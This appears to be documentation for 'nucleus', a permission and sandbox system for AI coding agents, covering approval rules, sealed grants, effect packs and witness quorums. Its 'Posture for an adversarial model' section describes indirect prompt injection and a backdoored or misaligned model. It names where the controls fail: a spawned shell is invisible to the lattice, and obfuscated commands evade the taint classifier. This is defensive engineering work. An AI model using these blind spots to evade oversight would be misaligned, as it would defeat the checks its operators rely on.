Uninhabitable state Detection

When nucleus detects the uninhabitable state, it automatically adds approval obligations to exfiltration vectors:

Your permissions:
  read_files: always     ← Private data access ✓
  web_fetch: low_risk    ← Untrusted content ✓
  git_push: low_risk     ← Exfiltration vector ✓

 Uninhabitable state detected! Adding approval requirement:
  git_push: requires approval
  create_pr: requires approval
  run_bash: requires approval

This happens automatically. You don’t configure it. You can’t disable it (even via malicious JSON payloads - the constraint is enforced on deserialization).

For AI Assistants: How to Check Permissions

Before Taking Action

# Pseudocode for AI tool execution
if action.type == "git_push":
    if permissions.requires_approval("git_push"):
        return "I need approval to push. Shall I proceed?"
    else:
        execute(action)

Understanding Your Profile

When you receive a permission profile, check:

1. What level is each capability?

   • never = don’t attempt
   • low_risk = safe operations okay
   • always = go ahead

2. Is uninhabitable state active?

   • If read_files >= low_risk AND web_* >= low_risk AND git_push >= low_risk
   • Then git_push, create_pr, run_bash need approval

3. Check path restrictions

   • allowed_paths: only these directories
   • blocked_paths: never touch these (e.g., **/.env, **/*.pem)

4. Check budget

   • max_cost_usd: spending limit
   • max_tokens: token limits

5. Check time

   • valid_until: when permissions expire

Path Restrictions

paths:
  allowed:
    - "/workspace/**"           # Only workspace
    - "/home/user/project/**"   # Or specific project
  blocked:
    - "**/.env"                 # No .env files
    - "**/.env.*"               # No .env.local, etc.
    - "**/secrets.*"            # No secrets files
    - "**/*.pem"                # No private keys
    - "**/*.key"                # No key files

Command Restrictions

commands:
  blocked:
    - program: "bash"           # No bash
      args: ["*"]
    - program: "python"         # No python interpreter
      args: ["*"]
    - program: "curl"           # No curl to arbitrary URLs
      args: ["*"]
  allowed:
    - program: "git"            # Git is okay
      args: ["status", "*"]
    - program: "cargo"          # Cargo is okay
      args: ["build", "*"]

Budget Limits

budget:
  max_cost_usd: 5.00           # $5 spending cap
  max_input_tokens: 100000     # 100k input tokens
  max_output_tokens: 10000     # 10k output tokens

Time Limits

time:
  valid_from: "2024-01-01T00:00:00Z"
  valid_until: "2024-01-01T01:00:00Z"  # 1 hour session

Running by goal

You do not have to pick a profile. State the outcome and nucleus compiles it into the minimum authority the task needs, shows it in plain language, and runs after one confirmation:

$ nucleus run --goal "fix the failing CI build" --ceiling safe-pr-fixer --dry-run
Goal:    fix the failing CI build
Can:     read and search workspace files · read git history and status · read CI logs and workflow runs · edit workspace files · run the test suite · commit changes locally
Cannot:  push to remote branches · open or merge pull requests · reach hosts other than api.github.com · spawn agents or pods
Limits:  $5.00 · 2h · api.github.com only · no .aws, .env, .ssh
Risk:    all 3 exposure legs present → the kernel asks for approval before run_bash

How it is derived, and why it cannot be wider than you allow:

1. The repository is probed (ecosystem, CI system, git remotes, MCP configs) and a rule table maps goal phrases to semantic effects (below). Every rule that fired is recorded in the grant (--explain policy-trace).
2. The effects are lowered to the 13 capability dimensions, sinks and hosts.
3. The result is met with the --ceiling profile (default codegen), so the grant is never wider than the ceiling. An effect the ceiling does not admit is listed under Cannot with the reason, never silently dropped or granted.
4. Without a TTY the run refuses unless you pass --yes; --dry-run only shows the grant; --save-grant PATH seals the accepted grant for reuse (below); --explain technical adds the grid; --effects github/read-issue,web/search adds effects the goal did not imply.

A goal nothing recognises is an error naming the remedy. It never falls back to a permissive profile.

An orchestrator may supply its own proposer with --proposer PROGRAM (JSON on stdin, {"effects": [...]} on stdout). Its answer is validated against the catalog and clamped under the ceiling like everything else, so it can only narrow.

Reusing a grant: zero prompts for a task you already approved

The confirmation is the approval, so it should be given once. --save-grant PATH seals the grant you accept into a signed file, and --grant PATH runs it again without asking:

$ nucleus run --goal "run the tests" --save-grant tests.grant     # confirm once: [R]un · [s]eal only
$ nucleus run --grant tests.grant                                 # no prompt
grant 6f1c… verified: sealed by nucleus://grant-approver/laptop/ada (3b9e0a1c…), 3 effects, 1h58m left, no confirmation needed
Goal:    run the tests
Can:     read and search workspace files · read git history and status · run the test suite
…

nucleus grant seal --goal "…" -o FILE seals without running (for a grant a CI job will use), and nucleus grant show FILE verifies and renders one.

What a sealed grant is: the five lines you read, and beside them a root certificate whose permissions are the grant’s lattice plus one effect/<plugin>/<id> key per granted effect plus keys binding the grant id, the goal digest and the repository digest — signed with the Ed25519 grant key nucleus creates at ~/.config/nucleus/keys/grant-signer.pem on first use. --grant refuses, before anything runs, when:

• the signer is not this host’s key (or a --grant-signer HEX you trust — this is how a CI job holds only the public half of a key a person sealed with);
• the certificate does not verify (signature, expiry, proof of possession);
• the readable grant no longer re-lowers to the signed permissions — editing the goal, the effects, the lattice, the limits or the expiry in the file is detected;
• the repository’s context digest (ecosystem, CI system, remotes, MCP configs) is not the one the grant was compiled against: re-run with --goal to approve it again.

A certificate delegated from a sealed grant can drop effects but never add one: the effect/ keys follow the tool-surface rule (min(absent, Always) = Never), a silent child inherits the parent’s set, and a child that sheds the dimension is refused.

What the effect/ keys enforce. A --goal or --grant run hands the sealed certificate to the tool proxy (--pod-cert), and a pod whose certificate carries the effect dimension is bounded per effect, not just per host:

• web_fetch and credentialed egress: the request’s method, host and path must be vouched for by a granted effect’s http shapes (or its host list, for host-level effects such as git/push-branch). A grant of github/read-ci-logs admits GET api.github.com/repos/*/actions/* and refuses POST …/pulls with EFFECT_NOT_GRANTED, naming the effect that would admit it.
• MCP tools (mcp-guard): a served tool no granted effect names is blocked with MCP_TOOL_OUTSIDE_EFFECTS, above the tool surface and the signed manifests.
• Shell commands stay bounded by the command lattice; the effects’ command prefixes are what attributes them afterwards.

A pod whose certificate carries no effect dimension (one that did not run under a grant) is unconstrained by this layer and bounded by everything else as before: the gate adds refusals, never allowances.

Two numbers every run reports: ρ and C(T)

The exit report (.nucleus-exit-report.json, written by the tool proxy), the MCP server’s session_summary trace line, and the line a --goal / --grant run ends with all carry the same authority summary, computed from the kernel’s effective lattice and its decision trace:

authority: 3 of 6 granted dimensions used · ρ = 2.00 · C(T) = 1 (1 confirmation, 0 approvals during the run) · 41 allowed · 1 denied

• ρ (authority overhead) = granted dimensions ÷ used dimensions. ρ → 1 is the goal; it is undefined, not infinite, when nothing was used.
• C(T) (delegation clicks) = confirmations before the run (1 for a new goal, 0 for a sealed grant) + approvals the kernel asked for during it. Every click beyond one is either ceremony or a boundary the task needed moved, and the proposals below say which.

A pod spec may name the grant it runs under (metadata.task_grant_id); --goal and --grant runs set it, and the exit report carries it back.

When something is denied: every denial is a proposal

A denial answers four questions, not one: what the agent tried, why exactly it was refused, the least authority that would have allowed it, and what that authority would change. Each --goal / --grant run prints one proposal per distinct denial after the usage lines; nucleus grant propose --grant FILE --input trace.jsonl prints them for any trace (--json for the structured form):

denied:  git_commit `-m fix` — the grant holds git_commit at never
minimum: git/commit (commit changes locally) · git_commit: never → low_risk
risk:    medium → medium
grant:   nucleus grant widen --grant tests.grant --effects git/commit   (one confirmation, same ceiling)
         or for this run only: an approver may escalate it for 118m (needs a node with an escalation policy; not in --local)

denied:  git_push `origin main` — the grant holds git_push at never
minimum: git/push-branch (push a branch to the remote) · git_push: never → low_risk · hosts github.com
risk:    medium → uninhabitable: adds an exfiltration vector; all three legs present, the kernel will ask before each git_push
outside: git/push-branch is outside ceiling safe-pr-fixer — a wider ceiling is a separate decision (--ceiling …)

The proposal is bounded by the same ceiling as the grant. Three outcomes:

• grantable: an effect vouches for the attempt and the ceiling admits it. nucleus grant widen recompiles the goal with that effect added and re-seals after the same single confirmation a new goal would ask for (C(T) = 1). What the ceiling still clips is named and left out, never granted.
• outside the ceiling: nothing is offered. Widening the ceiling is a separate decision, and the line says so.
• repair, not authority: information-flow denials, blocked secret paths, expired or exhausted grants, and layers below the grant (isolation, enterprise policy, delegation, Cedar) get a repair line instead of a grant command, because more authority would not help and might make the flow worse.

The risk line is the uninhabitable-state analysis before and after: which exposure leg the minimum adds, and whether the kernel will start asking for approval because all three legs would then be present.

Learning from a run: the grant is the ceiling, the trace is the proposal

Every --goal and --grant run leaves a kernel trace (~/.config/nucleus/traces/<grant id>.jsonl unless --kernel-trace names one) and ends with what the run actually used of what it was granted:

authority: used 3 of 7 effects · ρ = 2.00 (3 of 6 granted dimensions used) · 41 allowed · 1 denied
  used:    read and search workspace files (12) · run the test suite (2) · read CI logs and workflow runs (1)
  unused:  edit workspace files · commit changes locally · build the project · read git history and status
  denied:  git_push origin main (1)

Save a profile with the unused authority removed? name (empty to skip): ci-tests
profile 'ci-tests' installed at ~/.config/nucleus/profiles/ci-tests.yaml (4 effects and 3 dimensions removed)

ρ is the authority overhead, granted ÷ used, over the 13 core dimensions; ρ → 1 is the goal, and it is the number a plugin’s effect vocabulary is judged by. The same report without a terminal, or after the fact:

nucleus observe --grant ci.grant --input trace.jsonl            # the report
nucleus observe --grant ci.grant --input trace.jsonl --narrow ci-tests --save

Narrowing is bounded on both sides by the grant: an unused dimension goes to never, a used one keeps the level the grant gave it (even when no effect explains it, since the run needed it), and paths, commands, budget and time are untouched. The result is ≤ the grant by construction, so the threshold problem of observed-usage tools (encode noise as permission, or refuse the next legitimate run) cannot widen anything: at worst the next run is denied something and says so.

Profiles in ~/.config/nucleus/profiles/*.yaml resolve like canonical ones, for --profile and for --ceiling. A user profile may carry a canonical name only if it is not wider than the canonical one; a wider shadow is ignored with a warning, so a file on disk cannot quietly change what --ceiling codegen means.

Semantic effects

An effect is the unit of authority a person reads. Each lowers to core dimensions, sinks and hosts, and carries how it is recognised (MCP tool names, command prefixes, HTTP method+host+path), which is what later attributes a run’s receipts back to the effects that authorised it. The built-in catalog:

A repository adds its own under .nucleus/effects/*.toml (same format as crates/portcullis/effects/). In this milestone an effect is enforced by the lattice it lowers to, the host list, and the command prefixes it vouches for; an agent that reaches a host with curl rather than an MCP tool is bounded by host, not by method and path. See docs/adr/0004-delegation-compiler.md for the milestones that close that gap.

Delegation (Sub-agents)

When delegating to a sub-agent, permissions can only go down, never up:

Parent: read_files=always, write_files=low_risk
Child request: write_files=always

Result: write_files=low_risk (capped at parent level)

This is enforced mathematically via lattice meet operation.

Quick Reference Card

┌─────────────────────────────────────────────────────────────┐
│                    PERMISSION LEVELS                        │
├─────────────────────────────────────────────────────────────┤
│  never     Blocked. Don't attempt.                          │
│  low_risk  Allowed for safe operations.                     │
│  always    Always allowed.                                  │
├─────────────────────────────────────────────────────────────┤
│                    uninhabitable state RULE                            │
├─────────────────────────────────────────────────────────────┤
│  IF   read_files ≥ low_risk                                 │
│  AND  (web_fetch OR web_search) ≥ low_risk                  │
│  AND  (git_push OR create_pr OR run_bash) ≥ low_risk        │
│  THEN exfiltration actions require approval                 │
├─────────────────────────────────────────────────────────────┤
│                    BUILT-IN PROFILES                        │
├─────────────────────────────────────────────────────────────┤
│  filesystem-readonly  Read + search; blocks sensitive paths │
│  read-only            Explore only, no writes               │
│  network-only         Web-only access                       │
│  web-research         Read + web search/fetch               │
│  code-review          Read + web search, no modifications   │
│  edit-only            Write/edit, no exec or web            │
│  local-dev            Write + shell, no web                 │
│  fix-issue            Full dev workflow, uninhabitable state protected │
│  release              Push/PR with approvals                │
│  database-client      DB CLI only                           │
│  demo                 For demos, blocks interpreters        │
│  permissive           Everything allowed (trusted only)     │
│  restrictive          Minimal permissions                   │
├─────────────────────────────────────────────────────────────┤
│                   WORKFLOW PROFILES                         │
├─────────────────────────────────────────────────────────────┤
│  pr-review            Read + web, NO exfil (safe)           │
│  codegen              Write + bash, NO network (isolated)   │
│  pr-approve           Read + web + push (CI-gated approval) │
└─────────────────────────────────────────────────────────────┘

Writing an effect pack

An effect is the unit of authority a person reads. github/read-ci-logs, kubernetes/apply-manifest, database/run-migration — each is a sentence about work, lowered to a sentence about capabilities that nobody has to read.

Packs are data: TOML under crates/portcullis/effects/ for the built-in ones, and .nucleus/effects/ for a repository’s own. Adding one widens the basis of what can be delegated (ADR 0005, decision 5) — which is why pack quality is a security property and not a convenience.

A pack cannot widen authority

This is the property that makes packs safe to accept from anywhere, and it is worth being precise about why rather than asserting it.

An effect lowers to a set of capabilities, and lowering starts every dimension at Never and raises only what the effect lists (EffectCatalog::lower). The result is then met with the ceiling profile before it becomes a grant, using the same delegate_to a certificate mint uses. So a pack can:

• ask for less than the ceiling — the grant is narrower;
• ask for more than the ceiling — the meet clips it, and the clipped effect appears in the grant’s cannot list with the reason;
• ask for something incoherent — the goal starves, and --goal fails with a message naming the remedy rather than falling back to a permissive profile.

What it cannot do is produce a lattice above the ceiling. Widening happens in exactly one place, POST /v1/escalate, and that is not the pack’s to call.

The shape

[plugin]
name = "kubernetes"          # matches the filename; the first half of every id
version = 1

[[effect]]
id = "read-logs"             # `kubernetes/read-logs` is what a person sees
title = "Read pod logs"      # the line in the Can / Cannot list
risk = "read"                # read | write_local | execute | publish | mutate_remote | destructive

[effect.lowers]              # what it becomes
operations = ["run_bash"]    # core dimensions raised above Never
sinks = ["bash_exec"]        # sink classes it writes to
hosts = ["logs.*.amazonaws.com"]   # egress it needs (omit if none)

[effect.matches]             # how a request is recognised as this effect
mcp_tools = ["k8s_logs"]     # exact MCP tool names
commands = ["kubectl logs"]  # command prefixes
http = [{ method = "GET", host = "slack.com", path = "/api/*" }]

matches is the part that decides what a grant means

lowers says what an effect costs. matches says what it covers, and it is where packs go wrong. Three rules, each learned from a bug:

1. An effect with no http shape but a hosts list vouches for its hosts. That is deliberate — a host-level effect like git/push-branch needs it — but it means a broad host list is a broad grant. The first draft of the AWS pack gave read-inventory hosts = ["*.amazonaws.com"] and no shape, so a grant of “list cloud resources” admitted a POST to iam.amazonaws.com: the one call that can rewrite the boundary itself. The pack’s own conformance test caught it. Name service hosts one by one, or add a shape that discriminates.

2. Write a shape only where it discriminates. A shape that covers everything its neighbours cover is worse than no shape, because it looks like precision. The AWS JSON-protocol services all POST / and select by an X-Amz-Target header the index does not carry — so those effects carry no http entry, and say so in a comment, rather than a POST *.amazonaws.com /* that would vouch for the whole account.

3. Two effects of different risk must not share a tool name. A grant of the lower one would silently admit the higher one’s work. There is a test for it (no_tool_name_is_claimed_by_two_effects_of_different_risk).

Host patterns

A pattern is dot-separated labels; a label may be *, which matches one or more whole labels. *.amazonaws.com, logs.*.amazonaws.com, api.github.com. A * is a whole label or it is not a wildcard: *foo.example is rejected, so no pattern matches a fragment of a name. Matching is anchored at both ends, so *.amazonaws.com admits neither evil-amazonaws.com nor amazonaws.com.evil.example, and a * never matches zero labels.

Every pack ships an admits/denies table

A pack is a claim about what a grant means, and a claim with no counterexample beside it is a claim nobody checked. Each pack states, as a test, a request it admits and a request it does not — where the denial names the effect that would have admitted it, because that name is what an escalation proposal is built from.

#![allow(unused)]
fn main() {
#[test]
fn aws_object_reads_do_not_carry_object_writes() {
    let catalog = EffectCatalog::builtin().unwrap();
    let g = granted(&["aws/read-object"]);
    admits(&catalog, &g, "GET", "bucket.s3.amazonaws.com", "/q3.csv", "aws/read-object");
    refuses(&catalog, &g, "PUT", "bucket.s3.amazonaws.com", "/q3.csv", "aws/write-object");
}
}

Two whole-catalog tests keep those rows from passing for the wrong reason: no_builtin_effect_is_unrecognisable (an effect with an empty matches index grants nothing and denies nothing, so every “refuses” beside it would pass vacuously) and the shared-tool-name test above.

Compiler rules propose reads, not mutations

A rule maps goal phrases to effects (crates/nucleus-task-compiler/src/rules.rs). The rules for surfaces beyond the repository — cloud, cluster, database, chat — propose read effects only, and the asymmetry is the design: a goal is evidence about what a person wants to learn, and much weaker evidence about what they will let be changed. “the deploy is broken” plausibly means read the logs; it does not mean roll something out.

Mutating effects stay reachable by being asked for — --effects kubernetes/apply-manifest, or the escalation proposal the read-only grant’s denial produces. Both put the decision in front of a person, which is where a deploy belongs. no_goal_phrase_proposes_a_mutation_beyond_the_repository pins it, and a companion test checks those same goals do fire their rules, so the absence is a decision rather than a failure to match.

Checklist

• One id per unit of work a person would grant or withhold separately.
• title reads as a sentence about work, not about an API.
• risk graded so the destructive ones sit above the shipped ceilings.
• hosts names services, not whole providers.
• http shapes only where they discriminate; a comment where they cannot.
• No tool name shared across risk grades.
• An admits/denies test per pack, the denial naming the effect that would admit.
• Compiler rules, if any, propose reads only.

Posture for an adversarial model

Nucleus’s headline guarantee is non-interference over a proven information-flow lattice. That guarantee has an adversary in mind, and it is worth naming which one — because the answer changes what the runtime is doing for you.

This document exists because the boundary was real but only recorded in a test name and a design-delta table (#2738). It is stated here instead.

Two adversaries

The confused deputy. The model is working for you. An attacker gets content in front of it — a poisoned web page, a hostile issue comment, a malicious tool description — and tries to turn a privileged action against you. This is indirect prompt injection, and it is what the lattice is for.

Against this adversary the guarantee is structural. The ingest is mediated, so the session carrying the attacker’s instructions is Adversarial, and the BashExec floor refuses the spawn outright:

#![allow(unused)]
fn main() {
assert_eq!(SinkClass::BashExec.required_integrity(), IntegLevel::Untrusted,
    "BashExec must refuse an adversarial-tainted session from spawning a shell");
}

No shell starts. There is nothing downstream to contain.

The hostile principal. The model is not a deputy. It is abliterated, backdoored, fine-tuned against you, or simply misaligned — and it can read this repository, which for this threat model means the adversary has the source.

Against this adversary the lattice does not help, and the reason is precise: the session is clean by construction. Your own prompt is Trusted/Directive. Nothing tainted it. So the model spawns a shell legitimately, and from that moment:

• the lattice sees nothing the shell does — one (RunBash, BashExec) authority buys arbitrary syscalls in the guest, and bash -c 'curl | sh' never reaches NetEffect::fetch;
• the command-text taint classifier (command_output_is_external) is a heuristic that states its own evadability, and it only decides whether output is labelled, not whether the command runs;
• the actual perimeter is the pod’s netns/iptables default-deny, whose semantics are trusted, not proven (see docs/production-delta.md).

A network fence around an untrusted process is a real boundary, and #2365 makes every pod prove it has one rather than assume it. But it is a much narrower claim than non-interference, and it should not be read as the same result.

What to do about it

Remove the capability rather than track the flow. A flow-time denial fires only when the session is tainted, and this adversary’s session never is. Arity is the defence: what is absent cannot be misused.

Use the untrusted-model profile:

run_bash:     never   # no exec surface at all
spawn_agent:  never   # no delegation to a less-constrained child
manage_pods:  never
web_fetch:    never   # a URL is a channel
web_search:   never
git_push:     never
create_pr:    never
git_commit:   never

read_files, write_files, edit_files, glob_search and grep_search remain, so the profile is still useful for the work people actually want a constrained model to do. It is not never everywhere, which would be a profile nobody adopts.

Why no NUCLEUS_PARANOID_TOOL_IO=1 here

#2738 asked for this posture to default NUCLEUS_PARANOID_TOOL_IO=1 so that no heuristic sits in the path. Under run_bash: never there is no heuristic to default: /v1/run maps to Operation::RunBash at the run gate, RunBash is not in scope, so the request is denied before a command runs and should_observe_command_output is never consulted for that pod. The heuristic is out of the path by construction rather than by configuration.

It is still worth setting for any profile that does permit exec — codegen, local-dev, test-runner, release, safe-pr-fixer — where the classifier’s stated evasion (obfuscated program names) is a white-box target. Making that a per-profile field rather than a process-wide environment variable is #2738 item 3, and is not done here.

What this does not claim

• It bounds reach, not authorship. The model still chooses what to write through write_files/edit_files, and content written to disk is content. Pair this with paths.blocked and with review of the diff, exactly as you would for an untrusted contributor.
• It is not in-guest syscall mediation. A per-pod seccomp-bpf policy derived from the lattice would move the exec surface inside the model instead of outside it. Firecracker itself runs under a seccomp filter and verify --tier2 checks it; the guest workload has no equivalent derived from its own policy. That is #2738 item 4, and it is the item that would let the non-interference claim extend past exec rather than stopping at it.
• It does not address workload identity. A workload inside the pod can currently fetch the pod’s SVID private key and policy certificate over vsock (#2724). That is the other half of this posture and is tracked separately.

Integration Endpoints

The surfaces nucleus exposes for integration — agent discovery (A2A), verification, keyless identity, transparency log, and MCP. Status is honest: some are live today, some are offline/in-browser (no server needed), and some are deploy-ready services you self-host.

Agent discovery (A2A)

A JWS-signed Agent Card describing the agent’s identity, capabilities, and verification keys (nucleus-agent-card).

• GET /.well-known/agent-card.json — 🟡 SELF-HOST (published by nucleus-verifier-service)

The card is signed; verify it against the issuer’s jwks.json before trusting it.

Verification

Re-check a signed provenance bundle / receipt (nucleus-verifier-service).

• POST /v1/verify — verify a bundle inline — 🟡 SELF-HOST
• POST /v1/bundles/{hash}/verify — verify by content hash — 🟡 SELF-HOST
• GET /.well-known/jwks.json — issuer verify key — 🟡 SELF-HOST

You usually don’t need the server: the offline verifier is live and needs no endpoint.

• npm i @coproduct_inc/verify → verifyReceipt(...) — 🔵 OFFLINE (zero-trust, recomputes the verdict)
• In-browser WASM demo: https://coproduct-opensource.github.io/nucleus/verify/ — 🟢 LIVE

Transparency log & witness federation

Tamper-evident inclusion + a cosigning witness ring (nucleus-verifier-service).

• GET /v1/log/size · GET /v1/log/sth — 🟡 SELF-HOST
• GET /v1/log/inclusion-proof · GET /v1/log/consistency-proof — 🟡 SELF-HOST
• GET /v1/witness/peers · POST /v1/witness/peer-sth — 🟡 SELF-HOST

Keyless identity (OIDC → SPIFFE)

Federated, keyless identity — exchange a workload OIDC token, publish a verify set (nucleus-oidc-provider).

• GET /.well-known/openid-configuration — RFC 8414 discovery — 🟡 SELF-HOST
• GET /jwks.json — RFC 7517 verify set — 🟡 SELF-HOST
• POST /oauth/token — RFC 8693 token exchange — 🟡 SELF-HOST

DID / WebFinger

Resolve a SPIFFE identity to a DID document + permission-fingerprint binding (nucleus-identity).

• GET /.well-known/webfinger?resource=spiffe://<trust-domain>/... → links to /.well-known/did.json + /.well-known/spiffe-did-binding.json — 🟡 SELF-HOST

MCP (agent-native)

Model Context Protocol endpoints so an LLM/agent can call nucleus directly.

• The Vault CTF MCP: https://nucleus-ctf.fly.dev/mcp — 🟢 LIVE
• Verifier MCP: /mcp on nucleus-verifier-service — 🟡 SELF-HOST
• nucleus-mcp-server (stdio MCP tool) — 🔵 OFFLINE

The Vault (try it / point an agent at it) — 🟢 LIVE

A formally-verified permission lattice you (or an LLM) try to exfiltrate past.

• Play: https://nucleus-ctf.fly.dev/ (also published at /nucleus/vault/ on these docs)
• GET /api/v1/levels · GET /api/v1/levels/{level}
• POST /api/v1/attack · POST /api/v1/challenge
• GET /openapi.json · GET /api (docs)

Honest deployment status (2026-06)

Live today: The Vault (nucleus-ctf.fly.dev), the offline npm verifier (@coproduct_inc/verify), and the in-browser /verify WASM demo. The nucleus-verifier-service and nucleus-oidc-provider are built and deploy-ready (fly.toml in each crate) but are not currently on a public URL — fly deploy to expose them, or wire your own host. The agent card is served by the verifier-service, so it goes live when that service is deployed.

For self-hosting recipes see the existing guides in docs/ (verifier integration, external-RP integration, OpenClaw users).

Split-Trust: Run Your Own Quorum Across Failure Domains

One-line thesis. With nucleus you can make it so that no single machine, region, cloud account, or key store you operate can forge or roll back your own agent log — and you can do this alone, with zero counterparties. The “mesh” buys you failure-domain diversity, not other organizations. Network effects are additive, never a prerequisite.

This guide consolidates the shipped nucleus trust stack into a single deployment story for the single-tenant operator. Everything below uses real commands and flags from merged crates; nothing here is aspirational unless it is explicitly marked as a future seam.

1. The thesis: single-tenant value first

Most “trust networks” sell you on a future where other parties watch your log. That is a real benefit — but it is a chicken-and-egg trap: the network is worthless until enough strangers join, so the tool is worthless on day one.

Nucleus inverts this. The trust stack is useful to one operator with no counterparties at all, because the thing you are defending against is not “a malicious peer org” — it is your own infrastructure failing or being compromised in a correlated way:

• a region goes dark or its disks are silently rolled back to a snapshot,
• one cloud account’s credentials leak,
• one key store (KMS/HSM) is breached or its operator is coerced,
• one machine is rooted and starts rewriting history.

If a single failure domain can rewrite or roll back your agent’s execution lineage, your provenance is only as trustworthy as your weakest box. The fix is the same one used by HashiCorp Vault Seal HA (pick seals “unlikely to become unavailable at the same time” — KMS keys in two cloud regions or two providers), by Sigstore witnesses (multiple independent co-signers defeat the log’s “split-view” attack), and by MPC/threshold signing (distribute signing authority so “security is distributed across multiple, independent parties… in different geographic or administrative domains”):

Spread the trust across failure domains you control, and require a quorum of them to agree before anything counts.

This is the classic “come for the tool, stay for the network” shape, but honest about the order: the tool stands on its own first (cdixon, 2015). A single nucleus node already gives you tamper-evident, signed lineage you can verify offline. Adding your own k-of-n witnesses across regions makes that lineage un-rollback-able without a threshold compromise — still with zero external parties. Federating with other organizations later is strictly additive value on top.

2. Deployment recipe

The pieces, and which shipped crate each one is:

2.1 Run k-of-n witnesses across diverse failure domains

A nucleus witness is a C2SP tlog-witness server: it mints an Ed25519 cosignature over a transparency-log checkpoint, but only if the checkpoint is signed by a trusted log key, strictly extends the last checkpoint it co-signed (an RFC 6962 consistency proof), and is not a rollback. The whole security value is in that status matrix — a witness refuses to co-sign a forked or rolled-back log.

Run one witness per failure domain: different regions, different cloud accounts, ideally different cloud providers, with each witness key in a different key store. The invocation (from crates/nucleus-witness/src/main.rs):

# Witness A — e.g. AWS us-east-1, key from that account's KMS.
# Seed comes from the environment (a secret manager), NOT a flag, in prod.
export NUCLEUS_WITNESS_SEED_HEX="<32-byte ed25519 seed, hex>"

nucleus-witness \
  --bind 0.0.0.0:8443 \
  --witness-name "nucleus.witness/aws-use1" \
  --origin "myagent.log.example/prod|myagent-log|<log-pubkey-hex>"

Flags (all real, from the Cli struct):

• --bind — listen address. Default 0.0.0.0:8443; bind to all interfaces for 6PN / k8s reachability.
• --witness-seed-hex / NUCLEUS_WITNESS_SEED_HEX — hex 32-byte Ed25519 seed. Load it from a secret manager / HSM / KMS, never a CLI flag in production (the help text says so; a missing seed falls back to a loud-warning dev seed that must not ship).
• --witness-name — the C2SP key_name that appears in cosignature lines. Default nucleus.witness/local. Give each witness a distinct, region-tagged name.
• --origin — repeatable; format origin|log_key_name|log_pubkey_hex. This is the log (and its public key) the witness will co-sign for. With no --origin, every checkpoint returns 404 until origins are added.

On startup each witness logs its own pubkey_hex — record those, they go straight into your quorum policy below.

State persistence caveat. The shipped store (store::InMemoryStore) is in-memory behind the OriginStore trait and is not persistent: a restart resets each origin to “never seen”, which would let a producer replay an old checkpoint as a first submission. Production MUST back the store with durable storage (litewitness uses sqlite); the trait boundary makes that a drop-in without touching the status matrix.

2.2 Write a Sigsum k-of-n quorum policy

A verifier enforces how many of your witnesses must agree. Nucleus parses the sigsum-go policy grammar in nucleus-lineage::policy. Example 2-of-3 across three failure domains (paste the pubkey_hex each witness logged at startup):

# A Sigsum-style policy: 2 of my 3 own witnesses must co-sign.
# `log` is recorded for grammar completeness (future submission routing),
# not used by the quorum evaluator.
log     <log-pubkey-hex>

witness aws-use1   <witness-A-pubkey-hex>   https://witness-a.example:8443
witness gcp-euw1   <witness-B-pubkey-hex>   https://witness-b.example:8443
witness fly-iad    <witness-C-pubkey-hex>   https://witness-c.example:8443

group   my-quorum  2  aws-use1 gcp-euw1 fly-iad
quorum  my-quorum

Grammar (exactly as implemented in policy.rs):

• witness <name> <pubkey-hex> [url] — a named witness, 32-byte Ed25519 key (hex).
• group <name> all|any|<k> <member>... — all = every member, any = ≥ 1, <k> = ≥ k distinct members. Members may be witness names or other group names — groups nest, so you can express “(any 1 of the EU pair) AND (any 1 of the US pair)”.
• quorum <name> — exactly one, naming the top-level group/witness that satisfies the whole policy.

Security properties the parser/evaluator enforce (these are the load-bearing parts, with negative tests):

• A witness that co-signs twice counts once — is_satisfied works over the set of distinct witnesses whose cosignatures already verified.
• A decimal threshold larger than the member count is rejected at parse time (ThresholdExceedsMembers) — an unsatisfiable policy can never silently “fail open”.
• The evaluator does not itself verify Ed25519 signatures — you must only feed it the names of witnesses whose cosignatures you already cryptographically checked (e.g. via nucleus-lineage::cosign). The trust boundary is explicit and one-directional.

2.3 Replicate provenance bundles across your machines

nucleus-bundle-cas addresses a serialized provenance Bundle by the BLAKE3 hash of its JSON bytes and moves it over iroh-blobs as a bao-verified stream. For the solo operator this is content-addressed, self-validating disaster-recovery replication of your own bundles across your own regions/clouds: any replica’s bytes self-validate against the hash, so a corrupted or substituted copy is rejected on fetch.

Publish (serves the bytes until Ctrl-C) — from nucleus bundle (crates/nucleus-cli/src/bundle.rs):

nucleus bundle publish ./my-session-bundle.json
# prints:
#   blake3-hash: <64 hex>
#   node-ticket: <iroh BlobTicket>

Fetch on another machine, then verify provenance separately:

nucleus bundle fetch \
  "<node-ticket>" \
  "<blake3-hash>" \
  --trust-anchor ./trust-anchor.jwks.json \
  --json

Positional + flag arguments (exactly as in FetchArgs):

• <node_ticket> — the iroh ticket printed by publish; carries the peer’s address out-of-band (there is no DHT/discovery — see §3).
• <blake3_hash> — 64 hex chars; the bao stream is rooted at this hash, so a peer cannot substitute other content. (The fetcher also cross-checks the ticket’s embedded hash against this and refuses on mismatch.)
• --trust-anchor <path> — required out-of-band JWKS. Byte-integrity is not provenance (see §3); this is the anchor verify_bundle runs against. The bundle’s embedded JWKS is deliberately ignored.
• --json, --show-payload — output controls.

nucleus-bundle-cas is a native (tokio + QUIC) transport — it is server/CLI-side only and is NOT wired into the WASM/browser verifier.

2.4 Federate your own trust domains (no central CA)

Run each environment — prod, staging, edge, ci — as its own SPIFFE trust domain with its own authority, then let them accept each other’s workload identities with no central CA. nucleus-oidc-core::spiffe_federation is the inbound side: it consumes a foreign domain’s trust bundle and validates inbound JWT-SVIDs minted by that domain.

The binding trust-domain → (bundle-endpoint URL, profile) is operator- supplied and out-of-band (a [[federates_with]] config row), because the SPIFFE Federation spec states this binding “cannot be securely inferred”:

# prod accepts CI's workloads. None of these fields is ever derived from a
# token or from each other.
[[federates_with]]
trust_domain        = "ci.example.org"
bundle_endpoint_url = "https://ci.example.org/spiffe-bundle"
profile             = "https_web"   # the only profile implemented

What this module does and does not do (honest scope, from the module docs):

• Inbound only — it consumes foreign bundles and verifies foreign JWT-SVIDs; it does not mint or serve your own bundle.
• https_web profile only — bundles are fetched over ordinary Web-PKI TLS (RFC 6125 server-cert validation). There is no https_spiffe profile, no x509-svid path, and no SPIFFE Workload API client.
• JWT-SVID only, with an algorithm allowlist (RS256/384/512, ES256/384, PS256/384/512). EdDSA/Ed25519 and none are out of spec for JWT-SVID and rejected; ES512/P-521 is spec-eligible but rejected because the pinned jsonwebtoken backend lacks P-521 (a dependency gap, fail-closed, not a security choice).
